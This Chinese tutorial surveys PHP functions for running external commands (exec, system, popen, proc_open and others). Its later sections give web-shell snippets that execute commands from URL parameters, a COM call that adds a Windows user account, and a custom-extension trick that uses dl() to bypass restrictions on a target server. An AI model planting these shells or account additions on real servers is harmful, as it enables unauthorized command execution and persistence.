PHP調(diào)用外部程序的方法解析
很多情況下需要php調(diào)用其他程序如shell命令、shell腳本、可執(zhí)行程序等等,此時(shí)需要使用到諸如exec/system/popen/proc_open等函數(shù),每種函數(shù)有各自適合使用的場(chǎng)景以及需要注意的地方。
前提:PHP沒(méi)有運(yùn)行在安全模式如果PHP運(yùn)行在安全模式下,那么在執(zhí)行外部命令、打開文件、連接數(shù)據(jù)庫(kù)、基于HTTP的認(rèn)證這4個(gè)方面將會(huì)受到制約,可能在調(diào)用外部程序時(shí)無(wú)法獲取預(yù)期的結(jié)果,此時(shí)需要設(shè)置特定目錄,可以在php.ini中編輯safe_mode_exec_dir參數(shù)來(lái)指定。
1. exec原型:string exec ( string command [, array &output [, int &return_var]] ) 描述:返回值保存最后的輸出結(jié)果,而所有輸出結(jié)果將會(huì)保存到$output數(shù)組,$return_var用來(lái)保存命令執(zhí)行的狀態(tài)碼(用來(lái)檢測(cè)成功或失敗)。 例子:$ret = exec('ls -al', $output, $var); 注意: A. 輸出結(jié)果會(huì)逐行追加到$output中,因此在調(diào)用exec之前需要unset($output),特別是循環(huán)調(diào)用的時(shí)候。 B. 如果想通過(guò)exec調(diào)用外部程序后馬上繼續(xù)執(zhí)行后續(xù)代碼,僅僅在命令里加'&'是不夠的,此時(shí)exec依然會(huì)等待命令執(zhí)行完畢;需要再將標(biāo)準(zhǔn)輸出做重定向才可以,例如:exec('ls -al >/dev/null &', $output, $var); C. 要學(xué)會(huì)善用EscapeShellCmd()和EscapeShellArg()。函數(shù)EscapeShellCmd把一個(gè)字符串 中所有可能瞞過(guò)Shell而去執(zhí)行另外一個(gè)命令的字符轉(zhuǎn)義。這些字符在Shell中是有特殊含義的,象分號(hào)(|),重定向(>)和從文件讀入 (<)等。函數(shù)EscapeShellArg是用來(lái)處理命令的參數(shù)的。它在給定的字符串兩邊加上單引號(hào),并把字符串中的單引號(hào)轉(zhuǎn)義,這樣這個(gè)字符串 就可以安全地作為命令的參數(shù)。
2. system原型:string system ( string command [, int &return_var] ) 描述:執(zhí)行給定的命令,返回最后的輸出結(jié)果;第二個(gè)參數(shù)是可選的,用來(lái)得到命令執(zhí)行后的狀態(tài)碼。 例子:$ret = system('ls -al', $var); 注意:略。
3. passthru原型:void passthru (string command [, int return_var]) 描述:執(zhí)行給定的命令,但不返回任何輸出結(jié)果,而是直接輸出到顯示設(shè)備上;第二個(gè)參數(shù)可選,用來(lái)得到命令執(zhí)行后的狀態(tài)碼。 例子:passthru('ls -al', $var); 注意:略。
4. popen原型:resource popen ( string command, string mode ) 描述:打開一個(gè)指向進(jìn)程的管道,該進(jìn)程由派生給定的 command 命令執(zhí)行而產(chǎn)生。 返回一個(gè)和 fopen() 所返回的相同的文件指針,只不過(guò)它是單向的(只能用于讀或?qū)懀┎⑶冶仨氂?pclose() 來(lái)關(guān)閉。此指針可以用于 fgets(),fgetss() 和 fwrite()。 例子:$fd = popen('command', ’r’); $ret = fgets($fd); 注意:只能打開單向管道,不是’r’就是’w’;并且需要使用pclose()來(lái)關(guān)閉。
5. proc_open原型:resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] ) 描述:與popen類似,但是可以提供雙向管道。具體的參數(shù)讀者可以自己翻閱資料,比如該博客: http://hi.baidu.com/alex_wang58/blog/item/a28657de16fec55195ee372a.html。 注意: A. 后面需要使用proc_close()關(guān)閉資源,并且如果是pipe類型,需要用pclose()關(guān)閉句柄。 B. proc_open打開的程序作為php的子進(jìn)程,php退出后該子進(jìn)程也會(huì)退出。 C. 筆者在使用的時(shí)候遇到獲取外部程序輸出阻塞的問(wèn)題,也就是在例子中的fgets($pipes[1])語(yǔ)句阻塞了,無(wú)法繼續(xù)進(jìn)行。經(jīng)過(guò)多方查證后發(fā)現(xiàn),問(wèn)題一般出在外部程序中,比如外部程序是C程序,使用fprintf(stdin, '**** n');輸出結(jié)果,此時(shí)需要加上fflush(stdout);才行,否則輸出結(jié)果可能會(huì)暫留緩存中,無(wú)法真正輸出,而php也就無(wú)法獲取輸出了。 例子:
// /< 打開管道 $pwd = ' ***** ' ; $pipes = array (); $command = ' ***** ' ; $desc = array ( array ( ’ pipe ’ , ’ r ’ ) , array ( ’ pipe ’ , ’ w ’ ) , array ( ’ pipe ’ , ’ w ’ )); $handle = proc_open ( $command , $desc , $pipes , $pwd ); if ( ! is_resource ( $handle )) { fprintf (STDERR , ' proc_open failed.n ' ); exit ( 1 );} // /< 讀寫 fwrite ( $pipes [ 0 ] , ' *****n ' ); $ret = rtrim ( fgets ( $pipes [ 1 ]) , ' n ' ); // /< 關(guān)閉管道 fclose ( $pipes [ 0 ]); fclose ( $pipes [ 1 ]); fclose ( $pipes [ 2 ]); proc_close ( $handle );6. shell_exec
原型:string shell_exec ( string $cmd )描述:cmd:要執(zhí)行的命令 返回值:命令執(zhí)行的輸出。 如果執(zhí)行過(guò)程中發(fā)生錯(cuò)誤或者進(jìn)程不產(chǎn)生輸出,則返回 NULL。例子:
<?phpecho shell_exec(’pwd’);?>
執(zhí)行結(jié)果:/var/www/html
7. 反撇號(hào)`描述:shell_exec() 函數(shù)實(shí)際上僅是反撇號(hào) (`) 操作符的變體
例子:
<?phpecho `pwd`;?>
執(zhí)行結(jié)果:/var/www/html
8.cntl_exec原型:void pcntl_exec ( string $path [, array $args [, array $envs ]] )描述:(PHP 4 >= 4.2.0, PHP 5, PHP 7)pcntl_exec — 在當(dāng)前進(jìn)程空間執(zhí)行以給定參數(shù)執(zhí)行指定程序。pcntl是linux下的一個(gè)擴(kuò)展,可以支持php的多線程操作。參數(shù):path: 必須是可執(zhí)行二進(jìn)制文件路徑或一個(gè)在文件第一行指定了一個(gè)可執(zhí)行文件路徑標(biāo)頭的腳本(比如文件第一行是#!/usr/local/bin/perl的perl腳本)。 更多的信息請(qǐng)查看您系統(tǒng)的execve(2)手冊(cè)。args: 一個(gè)要傳遞給程序的參數(shù)的字符串?dāng)?shù)組。envs: 一個(gè)要傳遞給程序作為環(huán)境變量的字符串?dāng)?shù)組。這個(gè)數(shù)組是 key => value格式的,key代表要傳遞的環(huán)境變量的名稱,value代表該環(huán)境變量值。返回值:當(dāng)發(fā)生錯(cuò)誤時(shí)返回 FALSE ,沒(méi)有錯(cuò)誤時(shí)沒(méi)有返回。
9. COM組建(針對(duì)windwos環(huán)境下使用com組建)
原型: Wscript.Shell->exec(command) // Shell.Application->ShellExecute(appName,appArgs,appPath) // Shell.Application->open(appPath) //要填寫程序絕對(duì)路徑,并且應(yīng)該沒(méi)有辦法加參數(shù) Shell.Application->NameSpace('C:WindowsSystem32')->Items()->item('cmd.exe')->invokeverb() Shell.Application->NameSpace('C:WindowsSystem32')->Items()->item('cmd.exe')->invokeverbEx() 描述:在windwos下,并且在php中開啟com組建擴(kuò)展之后可以使用這種方法(打開方式自行百度) 徹底的解決方案是 直接刪除System32目錄下wshom.ocx文件 例子:
<?php$phpwsh=new COM('Wscript.Shell') or die('Create Wscript.Shell Failed!'); $exec=$phpwsh->exec('cmd.exe /c '.$_GET[’c’].''); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> <?php$phpwsh=new COM('Shell.Application') or die('Create Wscript.Shell Failed!'); $exec=$phpwsh->ShellExecute('net',' user tiny tiny /add');//$exec=$phpwsh->ShellExecute('cmd','/c net user tiny tiny /add');?> <?php$phpwsh=new COM('Shell.Application') or die('Create Wscript.Shell Failed!'); $exec=$phpwsh->open('c:windowssystem32cmd.exe');?> <?php$a=new COM('Shell.Application');$a->NameSpace('C:WindowsSystem32')->Items()->item('cmd.exe')->invokeverb();?> <?php$a=new COM('Shell.Application');$a->NameSpace('C:WindowsSystem32')->Items()->item('cmd.exe')->invokeverbEx();?>10. dl()
要求:php沒(méi)有開啟安全模式,并且enable_dl選項(xiàng)為on,并且php版本支持dl函數(shù) (在 PHP 5.3 里,此函數(shù)被某些 SAPI 移除了,也就是沒(méi)有這個(gè)函數(shù)?) 說(shuō)明:extension_dir選項(xiàng)可以指定擴(kuò)展模塊的目錄,但是我們可以使用相對(duì)路徑的方式繞過(guò) 原理:自己編寫擴(kuò)展,然后使用dl加載此擴(kuò)展。 舉例(linux): 準(zhǔn)備工作: 自行上網(wǎng)下載apache和相近版本的php源碼,按照apache和php的官方文檔進(jìn)行安裝。 我們主要需要三個(gè)文件:phpize,php-config和ext_skel:在正確安裝好了apache和php之后, phpize和php-config將被安裝(可以自行find),而ext_skel則是是在php源碼中的ext目錄中。 ext_skel是php源碼包中的用來(lái)幫助制作擴(kuò)展的程序。 1)轉(zhuǎn)到php-x.x.xx/ext中首先新建xxx.skel文件,里面填寫要制作的擴(kuò)展中的函數(shù)原型,例如: string exec(string str) 2)執(zhí)行命令:./ext_skel --extname=tinymin --proto=xxx.skel 之后便生成了tinymin目錄, 里面則是擴(kuò)展所需要的文件 3)cd tinymin 4)vi config.m4 將 config.m4文件里面 dnl PHP_ARG_WITH(myext, for myext support, dnl Make sure that the comment is aligned: dnl [ --with-myext Include myext support]) 修改成 PHP_ARG_WITH(myext, for myext support, [ --with-myext Include myext support]) 5)vi tinymin.c 將PHP_FUNCTION(exec)后面的大括號(hào)里面的代碼的最后一行刪除,并寫上自己的代碼,修改后如:PHP_FUNCTION(haha) { char *str = NULL; int argc = ZEND_NUM_ARGS(); int str_len; if (zend_parse_parameters(argc TSRMLS_CC, 's', &str, &str_len) == FAILURE) return; return system(str); } 6)找到phpize:find / -name 'phpize' 然后運(yùn)行一下phpize: /my_lamp/php/bin/phpize 7) 同樣方式找到php-config,然后運(yùn)行configure: ./configure --with-php-config=/my_lamp/php/bin/php-config 8)make&&make install 之后便在自己的php擴(kuò)展目錄中生成了擴(kuò)展tinymin.so 在目標(biāo)服務(wù)器上面上傳tinymin.so(不一定要在它的php擴(kuò)展目錄中,因?yàn)榭梢允褂孟鄬?duì)路徑) 用法例如: <?php dl('../../../../../tmp/tinymin.so'); echo exec($_GET[’cmd’]); ?> 這種方法也很老了,我在自己的的kali2上面嘗試這樣做的時(shí)候提示沒(méi)有dl這個(gè)函數(shù),具體原因參見(jiàn)php manual windows上應(yīng)該也是一樣的原理。不過(guò)沒(méi)有試過(guò)
11. 內(nèi)核變量網(wǎng)址:http://www.freebuf.com/articles/web/82801.html
以上就是PHP調(diào)用外部程序的方法解析的詳細(xì)內(nèi)容,更多關(guān)于PHP調(diào)用外部程序的方法的資料請(qǐng)關(guān)注好吧啦網(wǎng)其它相關(guān)文章!
相關(guān)文章:
1. 詳解盒子端CSS動(dòng)畫性能提升2. CSS hack用法案例詳解3. PHP字符串前后字符或空格刪除方法介紹4. 使用HttpClient增刪改查ASP.NET Web API服務(wù)5. JSP servlet實(shí)現(xiàn)文件上傳下載和刪除6. ASP.NET Core實(shí)現(xiàn)中間件的幾種方式7. input submit、button和回車鍵提交數(shù)據(jù)詳解8. 使用HttpClient消費(fèi)ASP.NET Web API服務(wù)案例9. ASP常用日期格式化函數(shù) FormatDate()10. 詳解瀏覽器的緩存機(jī)制
